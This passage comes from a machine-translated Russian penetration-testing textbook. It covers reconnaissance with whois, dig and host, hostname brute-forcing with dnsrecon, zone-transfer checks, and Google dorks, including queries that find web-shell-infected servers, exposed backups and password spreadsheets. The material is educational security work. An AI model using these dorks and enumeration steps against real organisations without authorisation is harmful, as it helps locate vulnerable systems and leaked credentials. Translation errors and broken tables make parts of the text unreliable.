один. Однако он также предоставляет вам возможность вручную указать
Сервер WHOIS.
Самый простой способ использовать эту команду - просто дать ей доменное имя
по нашему выбору в качестве аргумента. Давайте посмотрим на следующий пример:
# whois semurity.com
Доменное имя: SEMURITY.COM
Идентификатор домена реестра: 2137264567_DOMAIN_COM-VRSN
Сервер WHOIS регистратора: whois.internet.bs
URL регистратора: http://www.internet.bs
Дата обновления: 2018-09-30T19: 39: 07Z
Дата создания: 2017-06-26T10: 08: 15Z
Дата истечения срока действия реестра: 2019-06-26T10: 08: 15Z
Регистратор: Internet Domain Service BS Corp
IANA ID регистратора: 2487
Контактный адрес электронной почты регистратора по вопросам злоупотреблений:
Телефон для связи со злоупотреблениями регистратора:
Статус домена: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Сервер имен: DNS1.SUPREMEPANEL.COM
Сервер имен: DNS2.SUPREMEPANEL.COM
DNSSEC: без знака
В приведенном выше примере мы набрали команду whois semurity.com. Данный
что наш домен находится под TLD .com, инструмент whois связался
whois.verisign-grs.com , который является сервером WHOIS, отвечающим за все
доменные имена в домене .com. Однако здесь стоит обратить внимание
что Verisign GRS не содержит всей информации, относящейся к semurity.com.
Он содержит ссылку на другой сервер WHOIS, на котором должна храниться вся информация; а также
этот сервер - whois.internet.bs .
Чтобы точно понять, почему это так, в
Протокол WHOIS; и это концепция « Think WHOIS» и « толстого» WHOIS .
https://translate.googleusercontent.com/translate_f 31/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Тонкий сервер WHOIS не хранит всю информацию о домене, но


скорее, он содержит информацию о сервере WHOIS регистратора, который
предполагается хранить всю информацию. С другой стороны, сервер толстого WHOIS ,
- это сервер, на котором хранится вся информация об определенном доменном имени.
Итак, в приведенном выше примере сервер whois.verisign-grs.com является тонким
Сервер WHOIS, в то время как сервер whois.internet.bs предположительно является толстым

Стр. 43

Сервер WHOIS.
Давайте теперь проверим это, связавшись напрямую с сервером whois.internet.bs . В
Команда whois предоставляет ключ (-h), чтобы мы могли вручную указать
сервер WHOIS, с которым мы хотим связаться. И когда мы вручную указываем
сервер, мы переопределяем конфигурацию инструмента, и он не будет связываться
whois.verisign-grs.com .
# whois -h whois.internet.bs semurity.com
Доменное имя: SEMURITY.COM
Идентификатор домена реестра: 2137264567_DOMAIN_COM-VRSN
Сервер WHOIS регистратора: whois.internet.bs
URL регистратора: http://www.internetbs.net
Дата обновления: 2018-09-30T19: 39: 08Z
Дата создания: 2017-06-26T10: 08: 15Z
Дата истечения срока регистрации регистратора: 2019-06-26T10: 08: 15Z
Регистратор: Internet Domain Service BS Corp.
IANA ID регистратора: 2487
Контактный адрес электронной почты регистратора по вопросам злоупотреблений: abuse@internet.bs
Контактный телефон регистратора по вопросам злоупотреблений: +1.5167401179
Торговый посредник:
Статус домена: clientTransferProhibited - http://www.icann.org/epp#clientTransferProhibited
Идентификатор регистранта реестра:
Имя регистранта: Не разглашается Не разглашается
Организация регистранта:
Улица регистранта: не раскрывается, не раскрывается, не раскрывается
Город регистрации: не разглашается
Штат / провинция регистранта:
Почтовый индекс регистранта: 00000
Страна регистрации: LB
Телефон регистранта: +1.5163872248
Телефон регистранта, доб .:
Факс регистранта:
Факс регистранта, внутр .:
Электронная почта регистранта:
8d31e2253b551fc0532a78e730c803d3.gdrp@customers.whoisprivacycorp.com
ID администратора реестра:
Имя администратора: Не разглашается Не разглашается
Административная организация: Supple Networks
Админ-стрит: Ахрафие, Бейрут
Админ Город: Бейрут
Административный штат / провинция:
Почтовый индекс администратора: 961
Страна администратора: LB
Телефон администратора: +1.5163872248
Телефон администратора, внутр .:
Факс администратора:

Стр.44

https://translate.googleusercontent.com/translate_f 32/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Факс администратора, внешний:


Электронная почта администратора: 5b2309a258f62a8459692f85d8a9b763.gdrp@customers.whoisprivacycorp.com
Технический идентификатор реестра:
Название технологии: Не разглашается Не разглашается
Техническая организация: Supple Networks
Tech Street: Ахрафие, Бейрут
Tech City: бейрут
Технический штат / провинция:
Почтовый индекс: 961
Страна технического обслуживания: LB
Телефон службы поддержки: +1.5163872248
Технический телефон, доб .:
Технический факс:
Технический факс, внешний:
Электронная почта службы технической поддержки: 5b2309a258f62a8459692f85d8a9b763.gdrp@customers.whoisprivacycorp.com
Сервер имен: dns1.supremepanel.com
Сервер имен: dns2.supremepanel.com
DNSSEC: без знака

Теперь мы видим, что, связавшись с сервером WHOIS регистратора


whois.internet.bs , мы получили дополнительную информацию о домене
semurity.com. Полный ответ WHOIS от толстого сервера включает три
разделы:

а. Раздел регистранта : этот раздел содержит информацию (имя,


организация, электронная почта, телефон, адрес и т. д.) о субъекте, который
подал заявку на регистрацию домена. Регистрант является фактическим владельцем
домена, и тот, кто может продать или уничтожить домен
имя. Регистрант может быть физическим лицом или компанией.
б. Раздел администратора : этот раздел содержит информацию (имя,
организация, электронная почта, телефон, адрес и т. д.) о человеке -
назначается регистрантом - ответственным за доменное имя.
Таким образом, администратор всегда будет человеком. Если регистрант
компания, регистрант может быть лицом в этой компании.
c. Технический раздел : этот раздел содержит информацию (имя,
организация, электронная почта, телефон, адрес и т. д.) о человеке в
зарядка доменных DNS-серверов. Этот человек айтишник
профессионал, который может обновлять записи DNS и зоны
зарегистрированный домен.
В приведенном выше примере мы заметили, что имя регистранта, имя администратора и
Название технологии не разглашается . Это связано с конфиденциальностью WHOIS, новой функцией.

Стр.45

регистраторы теперь предлагают - некоторые с доплатой - чтобы скрыть


личность регистранта.
Поскольку WHOIS использовался злонамеренными хакерами, спамерами, мошенниками,
и т.д., чтобы найти контактную информацию по определенному домену,
возникла необходимость скрыть эту информацию. При регистрации нового домена
имя у регистратора, обеспечивающего конфиденциальность WHOIS, контакт регистратора
информация заменит вашу контактную информацию.
Онлайн-WHOIS
Бывают случаи, когда невозможно использовать whois из командной строки,
либо потому, что порт 43 / tcp заблокирован на брандмауэре, либо просто инструмент whois
недоступно. К счастью, существуют онлайн-службы WHOIS.
Некоторые из них имеют привлекательный графический интерфейс, анализирующий информацию.
легко читаемый способ. Можно обнаружить, что на большинстве серверов WHOIS есть веб-

https://translate.googleusercontent.com/translate_f 33/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
на основе интерфейса. Вот несколько таких:
1. https://www.whois.com/whois/

2. https://www.whois.net

3. https://whois.icann.org/en

Стр. 46

Записи DNS
Еще одна область, на которой вам следует сосредоточиться во время сбора разведданных
фаза - это данные DNS. На предыдущем этапе, WHOIS, мы получили информацию
о доменном имени; теперь нам нужно знать, какие системы подпадают под это
домен и их полные доменные имена - полные доменные имена - и IP
адреса есть.
DNS (система доменных имен) - это протокол прикладного уровня в
Платформа TCP / IP. Он использует порт 53 и может работать через UDP или TCP. Самый
Трафик DNS в Интернете проходит через UDP, а DNS через TCP зарезервирован для
определенные административные операции (обсуждаются позже). Это клиент-сервер
протокол, в котором клиент отправляет сообщение запроса, а сервер отвечает
с ответом. Основная цель протокола DNS - разрешить имена хостов в
их IP-адреса. Поскольку нам трудно запомнить IP-адрес каждого
сервер, к которому мы хотим получить доступ, или браузер, DNS упрощает нам задачу, отображая
IP-адреса на удобные имена; тогда нам нужно запомнить эти имена -
например, www.semurity.com, www.google.com, www.apple.com и т. д.
В Интернете DNS-серверы имеют иерархическую структуру. В верхней части
В иерархию входят так называемые корневые DNS-серверы; после них идет DNS
серверы, отвечающие за домены верхнего уровня (TLD), такие как, .com, .net,
.org, .gov и т.д .; а затем, после DNS-серверов TLD, идут DNS-серверы

https://translate.googleusercontent.com/translate_f 34/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
отвечает за домены второго уровня, например, semurity.com,
google.com и apple.com. И эти серверы несут ответственность за дальнейшее
поддомены и для имен хостов в этих доменах второго уровня, таких как
как, www.semurity.com, www.google.com и www.apple.com.

Стр. 47

Корневые DNS-серверы - это ровно 13 логических серверов, где каждый логический


Сервер - это кластер систем, работающих с одним IP-адресом. 13
серверам присваиваются однобуквенные имена от A до M. В любом FQDN (полностью
Квалифицированное доменное имя), корневой домен имеет имя, состоящее из пустой строки, и это
неявно подразумевается после виртуальной точки в конце. Например, полное доменное имя
«Www.semurity.com» на самом деле является «www.semurity.com» . »И что происходит
после этой виртуальной точки стоит пустая строка, обозначающая корневой домен.
Ниже приведен список из 13 корневых серверов:
Имя Айпи адрес Управляемый
a.root-servers.net 198.41.0.4 Verisign
b.root-servers.net 199.9.14.201 Институт информационных наук USC
c.root-servers.net 192.33.4.12 Cogent Communications
d.root-servers.net 199.7.91.13 Университет Мэриленда
e.root-servers.net 192.203.230.10 Исследовательский центр НАСА Эймса
f.root-servers.net 192.5.5.241 Консорциум Интернет-систем
g.root-servers.net 192.112.36.4 Агентство оборонных информационных систем
h.root-servers.net 198.97.190.53 Исследовательская лаборатория армии США
i.root-servers.net 192.36.148.17 Netnod
j.root-servers.net 192.58.128.30 Verisign
k.root-servers.net 193.0.14.129 RIPE NCC
l.root-servers.net 199.7.83.42 ICANN
m.root-servers.net 202.12.27.33 ШИРОКИЙ ПРОЕКТ

DNS-сервер, отвечающий за конкретный домен, называется


Авторитетный DNS-сервер. Например, ни один из корневых серверов или .com
Сервер TLD является официальным сервером для semurity.com, в то время как сервер

Стр. 48

https://translate.googleusercontent.com/translate_f 35/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

dns1.supremepanel.com (162.210.102.178) - авторитетный DNS-сервер для


semurity.com. Авторитетный DNS-сервер содержит всю информацию DNS о
хотя бы один определенный домен. И эта информация хранится в виде
записи в логической группе, называемой зоной .

Каждая запись DNS в зоне раскрывает определенную информацию, например


сопоставление имени хоста с IP-адресом. Однако такое отображение - не единственное
функциональность записи; есть записи, которые говорят, какие серверы являются электронной почтой
серверы (почтовый обмен), полномочный DNS-сервер (серверы имен) и
скоро. Каждая запись включает определенную аббревиатуру, которая сообщает, какой тип
запись это есть. В следующей таблице показаны основные типы записей DNS:
А Адрес Сопоставляет имя хоста с 32-битным IPv4-адресом
AAAA IPv6-адрес Сопоставляет имя хоста со 128-битным адресом IPv6
Каноническое имя CNAME Псевдоним одного имени хоста другому
MX Почтовый обмен Сопоставляет доменное имя с почтовым сервером
NS Сервер имен Делегирует зону DNS для использования этого DNS-сервера
PTR Указатель Указатель на каноническое имя - обратный поиск DNS
SRV Услуга Связывает порт и имя хоста с определенной службой
текст Текст Связывает произвольную текстовую фразу с хостом или именем
SOA Начало Авторитетная и административная информация
Орган власти

Запрос DNS-записей
Существуют различные инструменты, которые позволяют нам взаимодействовать с DNS-сервером и
запрашивать определенные записи. В системах UNIX / Linux у нас есть dig и host
tools, а в Windows - nslookup. В следующих разделах объясняется
вкратце, как использовать dig и host для получения различных записей DNS.
копать землю

Стр. 49

dig - популярная команда сетевого администрирования UNIX / Linux. Оно может


преобразовать имя хоста в IP-адрес, запросить определенный тип записи (A, NS,
MX и т. Д.), Выполнить передачу зоны DNS ( объяснено позже ) и другие. К
по умолчанию он использует файл /etc/resolv.conf, который можно настроить вручную
или автоматически через конфигурацию DHCP - чтобы выяснить, как разрешить
Полное доменное имя. Однако он также дает вам возможность указать DNS-сервер
твой выбор; и в этом случае он будет связываться только с этим сервером. Вот прям
прямое использование команды dig:
# dig <тип> <имя хоста>

<type> может быть одним из типов DNS-записей, указанных выше (A, AAA,
CNAME, MX, NS, PTR, SRV, TXT или SOA); это вернет конкретный
записи этого типа, связанные с <hostname>. Вот несколько
https://translate.googleusercontent.com/translate_f 36/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Примеры:
# dig A semurity.com
# dig AAAA semurity.com
# dig CNAME semurity.com
# dig MX semurity.com
# dig NS semurity.com
# dig SOA semurity.com

Кроме того, для <type> можно задать значение ANY, например: #dig SOA semurity.com . А также
это вернет все записи, связанные с <hostname> вместо запроса
их тип по типу. Использование ЛЮБОГО не означает, что вы получите все
записи во всей доменной зоне, а только те записи, которые связаны
с любым именем хоста, которое вы указали. <hostname> может быть доменом
имя, например semurity.com или google.com . Однако вы получите записи
связанный с этим доменным именем; таким образом, записи, связанные с именем хоста
например, webmail.semurity.com не будет возвращен, если вы отправите запрос с
Любой тип.
Давайте посмотрим на вывод команды dig:
$ dig a semurity.com

; << >> DiG 9.8.3-P1 << >> a semurity.com


;; глобальные параметры: + cmd
;; Получил ответ:
;; - >> HEADER << - код операции: QUERY, статус: NOERROR, id: 42853
;; флаги: qr rd ra; ЗАПРОС: 1, ОТВЕТ: 1, АВТОРИТЕТ: 2, ДОПОЛНИТЕЛЬНО: 2

Стр.50

;; РАЗДЕЛ ВОПРОСА :
; semurity.com. В А

;; ОТВЕТНАЯ ЧАСТЬ :
semurity.com. 8398 В А 170.10.163.106

;; РАЗДЕЛ ВЛАСТИ :
semurity.com. 166798 В NS dns2.supremepanel.com.

semurity.com. 166798 В NS dns1.supremepanel.com.

;; ДОПОЛНИТЕЛЬНЫЙ РАЗДЕЛ :
dns1.supremepanel.com. 166798 В А 162.210.102.178
dns2.supremepanel.com. 166798 В А 198.23.61.128

;; Время запроса: 25 мсек.


;; СЕРВЕР: 89.108.129.77 # 53 (89.108.129.77)
;; КОГДА: Сб, 27 октября, 17:08:42 2018
;; РАЗМЕР MSG rcvd: 129

Любое DNS-сообщение содержит четыре раздела: раздел вопросов, раздел ответов,


Раздел полномочий и Дополнительный раздел. В каждом разделе может быть 0 или более
записи. В предыдущем примере мы видим, что ответ содержит 1 вопрос.
запись, 1 запись ответа, 2 авторитетные записи и 2 дополнительные записи. С
мы хотели узнать A-запись semurity.com , раздел вопросов
содержит эту информацию. Раздел ответов содержит одну запись, которая является
ответ на вопрос; и этот ответ - 170.10.163.106 . Полномочия
Раздел содержит две записи об авторитетных DNS (NS) серверах.
связанный с semurity.com . Хотя мы явно не просили
записи NS, тем не менее DNS-сервер отвечает ими. Наконец,

https://translate.googleusercontent.com/translate_f 37/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
IP-адреса NS-серверов включены в Дополнительный раздел.
хозяин
Эта команда проще, чем dig, и предназначена в первую очередь для разрешения
имена в IP-адреса и наоборот. В то время как dig выводит четыре раздела
ответ DNS, хост печатает только ответ. И это делает его привлекательным, если
вы ищете аккуратный прямой выход. Также по умолчанию он связывается с DNS.
серверы, перечисленные в файле /etc/resolv.conf. Тем не менее, это также дает вам возможность
указать DNS-сервер вручную. Вот простой способ использования хоста:
# host -t <тип> <имя хоста>

Стр. 51

Давайте посмотрим на несколько примеров:

Запрос записи A, связанной с именем google.com:

# host -ta google.com


google.com имеет адрес 172.217.19.46

Запрос записей MX, связанных с именем google.com:

# host -t mx google.com
Почта google.com обрабатывается 40 alt3.aspmx.l.google.com.
Почтой google.com занимается 10 aspmx.l.google.com.
Почта google.com обрабатывается 30 alt2.aspmx.l.google.com.
Почта google.com обрабатывается 50 alt4.aspmx.l.google.com.
Почтой google.com занимается 20 alt1.aspmx.l.google.com.

Запрос записей NS, связанных с именем google.com:

host -t ns google.com
сервер имен google.com ns3.google.com.
сервер имен google.com ns4.google.com.
сервер имен google.com ns1.google.com.
сервер имен google.com ns2.google.com.

Запрос ЛЮБЫХ записей, связанных с именем google.com:

# host -t any google.com


Почтой google.com занимается 10 aspmx.l.google.com.
Почта google.com обрабатывается 30 alt2.aspmx.l.google.com.
Почта google.com обрабатывается 50 alt4.aspmx.l.google.com.
Почтой google.com занимается 20 alt1.aspmx.l.google.com.
Почта google.com обрабатывается 40 alt3.aspmx.l.google.com.
google.com имеет адрес 172.217.19.46
сервер имен google.com ns3.google.com.
сервер имен google.com ns1.google.com.
сервер имен google.com ns2.google.com.
сервер имен google.com ns4.google.com.

Мы видим, что с ЛЮБЫМ типом мы получили все записи, которые мы получили.


индивидуально, когда мы запрашивали типы A, NS и MX.
Подбор DNS-имени
Один из способов перечислить доступные системы в данном домене - отправить запросы
к авторитетному DNS-серверу с просьбой разрешить разумно выбранный

https://translate.googleusercontent.com/translate_f 38/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.52

имена хостов. Эти имена хостов могут быть обычными именами, которые администраторы используют для
назовите свои серверы, или это могут быть слова из словаря. Всякий раз, когда мы
получить действительный ответ - содержащий IP-адрес - об имени хоста, мы
знал бы, что существует система с таким именем хоста.
Например, администраторы нередко называют свои серверы
по действующим службам; так что для домена mydomain.ext это очень
вероятно найдут следующие имена хостов:

www.mydomain.ext для веб-сервера.


ftp.mydomain.ext для FTP-сервера.
webmail.mydomain.ext для почтового веб-сервера.
citrix.mydomain.ext для сервера Citrix.
voip.mydomain.ext для сервера голосовой связи по IP (VoIP).
Таким образом, если бы мы могли составить список этих часто используемых имен хостов, и
затем отправляем DNS-запросы методом грубой силы, чтобы разрешить имена, мы
может в конечном итоге узнать много действительных имен хостов.
Другой пример: администраторы называют свои системы именами
конкретная тема; такая тема может быть вдохновлена ​популярным фильмом или шоу,
например, властелин колец, матрица, игра престолов, или это может быть вдохновлено
по природе, например, планеты солнечной системы, континенты или города. И просто
как и в примере выше, мы также можем составлять разные списки таких
имена и использовать их во время угадывания имени хоста DNS.
dnsrecon - мощный скрипт перечисления DNS
Этот инструмент выполняет широкий спектр функций, когда дело доходит до DNS.
перечисление. Он может выполнять:

Поддомены и имена хостов для данного домена методом перебора с использованием


толковый словарь.
Проверьте все NS-серверы в домене на наличие неправильно настроенной зоны
Передача.
Получить общие записи DNS - A, AAAA, MX, NS, SOA, TXT,
и т.д., - для данного доменного имени.
Выполните обратный поиск в DNS - поиск записи PTR - для заданного
Диапазон IP-адресов.
Здесь мы сосредоточимся на первом функционале. Нам нужно набрать:

Стр. 53

# dnsrecon -d <домен> -D <список имен> -t brt


Аргумент <domain> - это домен, который нас интересует путем перебора
имена хостов внутри; <namelist> - это словарь, который будет использоваться во время
грубая сила; и, наконец, опция -t brt - это тип функциональности,
который здесь является грубой силой (brt).
Вот пример подбора имен хостов в домене google.com
используя файл словаря из следующих 100 слов (этот список входит в
другой инструмент под названием dnscan):
www разработчик безопасный ns4 lyncdiscover
Почта www2 демонстрация www3 Информация

https://translate.googleusercontent.com/translate_f 39/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
ftp админ cp DNS Программы
localhost Форум календарь поиск скачать
электронная почта
Новости вики постановка удаленный
smtp vpn сеть сервер db
поп ns3 СМИ mx1 форумы
ns1 mail2 Эл. адрес чат хранить
веб-диск новый изображений wap реле
нс2 MySQL img мой файлы
cpanel Старый www1 svn Новостная рассылка
WHM списки интранет mail1 приложение
автообнаружениеслужба поддержки
портал места жить
автоконфигурациямобильный видео доверенное лицоова
м mx глоток Объявления en
imap статический dns2 хозяин Начните
тестовое заданиедокументы api crm SMS
нс бета cdn cms офис
блог магазин статистика резервное копирование
обмен
pop3 sql dns1 mx2 ipv4

После сохранения этого списка в файле dnsdictionary теперь мы можем запускать dnsrecon как
следует:
# dnsrecon -d google.com -D / root / dnsdict -t brt
Результатом будет список доступных имен хостов вместе с их IP-адресами.
(IPv4, а также IPv6). И поскольку вывод слишком длинный, чтобы поместиться здесь, вот
список только обнаруженных имен хостов - 33 из них - с их разрешенными
адреса:
ns1.google.com support.google.com chat.google.com
www.google.com docs.google.com wap.google.com
mail.google.com calendar.google.com sites.google.com
m.google.com web.google.com ads.google.com

Стр.54

ns.google.com email.google.com apps.google.com


news.google.com images.google.com store.google.com
ns3.google.com video.google.com download.google.com
admin.google.com ns4.google.com files.google.com
vpn.google.com search.google.com sms.google.com
blog.google.com api.google.com relay.google.com
mobile.google.com dns.google.com ipv4.google.com

Перенос зоны DNS


Перенос зоны - это возможность получить копию всей зоны, содержащей все
записи для определенного домена. Передача зоны, если она разрешена, освобождает вас от
два предыдущих действия: угадывание имени и запрос отдельных записей.
Это связано с тем, что передача зоны предоставит вам все доступные записи всех типов.
которые принадлежат вашему целевому домену.
Обычные DNS-пакеты - например, те, которые отправляются при угадывании имени и
запрос индивидуальных записей - запускается поверх протокола UDP (порт 53). Тем не мение,
Пакеты передачи зоны DNS выполняются поверх TCP (порт 53). Перенос зоны был
разработан, чтобы позволить вторичному DNS-серверу обновлять свои записи зоны путем
просят первичный DNS-сервер передать всю зону обновления. Из
с точки зрения безопасности, это должен быть единственный законный доступ к передаче зоны
функциональность; только вторичный сервер может отправить запрос на передачу зоны
основной сервер. На любом первичном DNS-сервере обычно есть три варианта
администратор может выбрать для настройки передачи зоны:

1. Отключить передачу зоны : эта опция не позволит другим


система - даже не вторичный сервер - чтобы получить копию зоны.

https://translate.googleusercontent.com/translate_f 40/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
2. Разрешить перенос зоны в определенные системы : администратору необходимо
для явного ввода IP-адресов систем - например, вторичных
серверы - разрешен доступ к переносу зоны.
3. Разрешить всем : эта опция открыто разрешает перенос зоны на
весь мир.
Именно этот последний вариант может быть опасен для организации. Если перенос зоны
открыто разрешено, хакеры могут использовать его на этапе сбора информации
получить все записи в домене; эти записи покажут все имена хостов,
IP-адреса, услуги и т. Д. Ваша роль в качестве тестера на проникновение заключается в том, чтобы выяснить,
зонная передача разрешена.
Вот как можно попытаться передать зону с помощью команды dig:

Стр.55

#dig axfr @ <nameserver> <targetdomain>

Axfr это указывает на запрос передачи зоны.


@ <nameserver> это сервер, с которым мы связываемся для передачи зоны.
<targetdomain> это домен, для которого мы хотим получить зону.
Например, если мы хотим проверить, работает ли DNS-сервер semurity.com
разрешает перенос зоны, мы бы выполнили следующую команду:
# dig axfr @ dns1.supremepanel.com semurity.com

; << >> DiG 9.8.3-P1 << >> axfr @ dns1.supremepanel.com semurity.com


; (Найден 1 сервер)
;; глобальные параметры: + cmd
; Передача не удалась .

В приведенном выше примере мы запросили сервер dns1.supremepanel.com -


который является официальным DNS-сервером для домена semurity.com (который
мы получили ранее). Обратите внимание, что мы получили сообщение « Ошибка передачи ».
что указывает на то, что передача зоны не разрешена.
Публичная поисковая система

Google - поисковая система


www.google.com
Поисковая система Google может считаться наиболее широко используемой и
самая популярная поисковая система в сети. Почти все мы знакомы с
стандартное обычное использование Google для поиска всего, что нас интересует.
Некоторые люди могут быть знакомы с использованием определенных специальных символов для уточнения
их поиски дальше. Тем не менее, очень немногие знакомы с так называемыми продвинутыми
операторы, которые извлекают максимум пользы из Good.
Специальные символы - это те, которые добавляются к вашим ключевым словам поиска и которые указывают
Google для поиска по вашим ключевым словам определенным образом. Вот список
самые важные специальные символы:
Характер Пример Функция
+ проникновение + тестирование Оператор И. Ключевое слово после этого знака
+
должны быть включены в результаты. (Оба слова
проникновение и тестирование должны быть включены в
каждая веб-страница вернулась)

https://translate.googleusercontent.com/translate_f 41/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.56

Пентрационное тестирование -dos Исключите ключевое слово. Возвращенные результаты должны


-
не включать это ключевое слово. (Слово dos должно
не должны быть включены ни на одну из возвращенных страниц)
"тестирование на проникновение" Фраза, заключенная в двойные кавычки, должна
«»
искать именно так, как есть. (фраза
тестирование на проникновение должно быть включено, поскольку оно есть в
все возвращенные страницы)
пн Подстановочный знак для одного символа. (в
.
возвращаемые страницы могут включать панорамирование , булавку , перо и т. д.)
«* Взлом» Подстановочный знак для любого слова. (возвращенные страницы
*
может включать в себя беспроводное хакерство , мобильное хакерство ,
взлом сети и т. д.)
«Взлом | пентест » Оператор ИЛИ. Это допускает альтернативу
|
ключевые слова. (Возвращенные страницы могут включать
либо взлом, либо пентест )

Помимо этих специальных символов, в Google есть то, что называется Advanced
Операторы. Они дополнительно уточняют поиск и позволяют нам ориентироваться на определенные
области веб-страницы и даже для таргетинга на определенные веб-сайты. Кроме того, те
операторы позволяют нам находить файлы определенного типа - файлы, которые могут содержать
конфиденциальная информация, такая как имена пользователей, пароли, информация о кредитных картах и ​т. д.
Короче говоря, расширенные операторы в основном используются для уточнения результатов поиска; тем не мен
их можно использовать в качестве рычага для обнаружения безопасности
уязвимости.
Синтаксис использования расширенного оператора следующий (обратите внимание на двоеточие после
Оператор):
<оператор>: <поиск_терм>
В следующей таблице перечислены наиболее важные расширенные операторы:
Оператор Пример Функция
название: intitle: кибербезопасность ищет заголовки страниц; он ищет страницы,
заголовки соответствуют заданной строке. (вернуть страницы, чьи
названия включают кибербезопасность )
inurl: inurle: viewtopic.php Ищет URL-адреса; он находит страницы, URL-адреса которых содержат
данная строка. (возвращать страницы, URL-адреса которых содержат
viewtopic.php )
в текст: intext: взлом Ищет только текст страницы. (вернуться страницы
чьи тексты содержат взлом )
тип файла: тип файла: pdf ищет файлы определенных типов. (вернуть только pdf
файлы)

Стр.57

сайт : сайт: semurity.com выполняет поиск на определенном сайте или в домене. (возвращение
страницы в домене semurity.com )
ссылка: ссылка: www.semurity.com ищет сайты, которые имеют ссылку на нашу цель
сайт. Мы можем найти деловых партнеров, единомышленников и
связи. (верните веб-сайты, на которых есть ссылка на
www.semurity.com )

Чтобы лучше понять разницу между intitle:, inurl: и intext:,


давайте посмотрим на следующее изображение:

https://translate.googleusercontent.com/translate_f 42/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

По умолчанию Google выполняет поиск в любой из этих трех частей любой веб-страницы -
URL, заголовок и текст (тело). Однако, используя любой из этих трех
операторы заставили бы Google искать только в обозначенной части. И, как
мы увидим, это даст нам достаточно гибкости, чтобы найти определенные
уязвимые страницы.
Кроме того, мы можем комбинировать несколько из этих операторов, чтобы сформировать более
сложные поиски. Ниже приведены несколько примеров, демонстрирующих различные
использование этих операторов:
Пример 1
Если мы хотим найти все файлы php, содержащие в своем теле фразу
«Тест на проникновение в сеть» и в названиях есть фраза «кибербезопасность»,
мы бы набрали:
filetype: php intitle: «кибербезопасность» intext: «тест проникновения в сеть»

Пример 2
Если мы хотим найти файлы asp с URL-адресами со словами «admin» и

Стр.58

«Заказы», ​мы выдадим следующее:


inurl: admin inurl: заказы filetype: php

Пример 3
Если мы хотим найти все файлы pdf, размещенные на веб-сайте semurity.com, мы должны ввести:
тип файла: pdf сайт: semurity.com

Пример 4
Чтобы найти таблицы Excel (xlsx), содержащие слово «пароль» хоста на
semurity.com, мы должны ввести:
filetype: xlsx site: semurity.com пароль

Пример 5
Если мы хотим найти адреса электронной почты, вот несколько способов их получить.
используя разные операторы Google:
«@ Domain.com»
тип файла адреса электронной почты: csv
тип файла: pst
inurl: тип файла электронной почты: mdb
тип файла: xls inurl: «email.xls»
тип файла: xls имя пользователя пароль электронная почта

База данных взлома Google


С годами разные хакеры начали организовывать списки разных Google.
поисковые запросы с использованием этих операторов для поиска уязвимых веб-сайтов и
https://translate.googleusercontent.com/translate_f 43/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
конфиденциальная информация. В 2000 году профессиональный хакер Джонни Лонг
создали - благодаря сотрудничеству со многими исследователями и участниками - большой
база данных таких поисковых запросов; каждый такой запрос называется «придурком».
С тех пор база данных называется Google Hacking Database.
(GHDB)
Эти запросы классифицируются в соответствии с обнаруженными ими уязвимостями.
Некоторые запросы могут использоваться для раскрытия имен пользователей и паролей в открытом виде,
другие обнаруживают уязвимые сайты или страницы PHP, другие обнаруживают уязвимые
Сайты WordPress, а на других есть незащищенные веб-камеры и так далее.
Доступ к GHDB можно получить на следующем сайте:
https://www.exploit-db.com/google-hacking-database/

В настоящее время все такие запросы сгруппированы по 14 категориям. Мы будем смотреть


ниже по каждой категории, объясните, что она содержит, и внимательно посмотрите на одну

Стр.59

запрос в этой категории.


Плацдармы
Он содержит запросы, которые могут предоставить вам доступ к веб-серверу. Они могли бы
выявить бэкдоры, панели управления, файлы конфигурации и т. д.
один пример:
inurl: «Мистер шпион» | intext: "Мистер шпион и обходная оболочка Сухейла"

Этот придурок находит веб-серверы, зараженные веб-оболочкой «Mister Spy». Он инструктирует движок Google
найти веб-страницы, в URL-адресах которых есть фраза «Мистер Шпион» или фраза
«Mister Spy & Souheyl Bypass Shell» в их теле (текст).

Секретные каталоги
Он содержит запросы, которые находят веб-серверы с доступными каталогами, содержащими
конфиденциальные или секретные файлы. Вот пример:
inurl: "/ wp-content / uploads / db-backup"

Этот придурок находит веб-серверы с WordPress CMS, которые имеют открытые каталоги резервных копий. Это
выполняет поиск сайтов, в URL-адресах которых указан путь «/ wp-content / uploads / db-backup».

Уязвимые файлы
Он содержит запросы, которые находят веб-страницы с известными уязвимостями; эти
уязвимостями могут быть такие вещи, как SQL-инъекция, XSS, удаленное выполнение кода,
и т.д. Вот пример:
intitle: "CJ Link Out V1"

Этот придурок находит веб-страницы, в заголовках которых есть фраза «CJ Link Out V1», которая указывает
продукт CJ Linkout версии 1. Было обнаружено, что этот продукт содержит межсайтовый
Уязвимость сценариев (XSS).

Уязвимые серверы
Он содержит поисковые запросы, которые выявляют веб-серверы с известными уязвимостями.
или страницы, предоставляющие доступ к веб-серверу. Вот пример:
тип файла: php inurl: vAuthenticate
Этот придурок находит веб-страницы PHP, в URL которых есть слово «vAuthenticate». vAuthenticate
это сценарий, который позволяет создавать учетные записи пользователей. По умолчанию есть два администратора с
легко угадываемые пароли.

Сообщения об ошибках
Он содержит поисковые запросы, которые находят веб-страницы с сообщениями об ошибках и журналами.
которые раскрывают так много информации о базовом веб-сервере или
заявление. Ниже приведен пример:
intitle: «Упс! Произошла ошибка».

Этот придурок ищет веб-страницы, в заголовках которых есть фраза «Упс! Это был

https://translate.googleusercontent.com/translate_f 44/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. 60

ошибка." Эта фраза указывает на страницы с сообщениями об ошибках, которые иногда раскрывают базу данных.
реквизиты для входа.

Данные о сети или уязвимости


Он содержит поисковые запросы, по которым можно найти документы и информацию о
сетевая инфраструктура - например, IP-адреса, маршрутизаторы и коммутаторы,
брандмауэры и т. д. Вот пример:
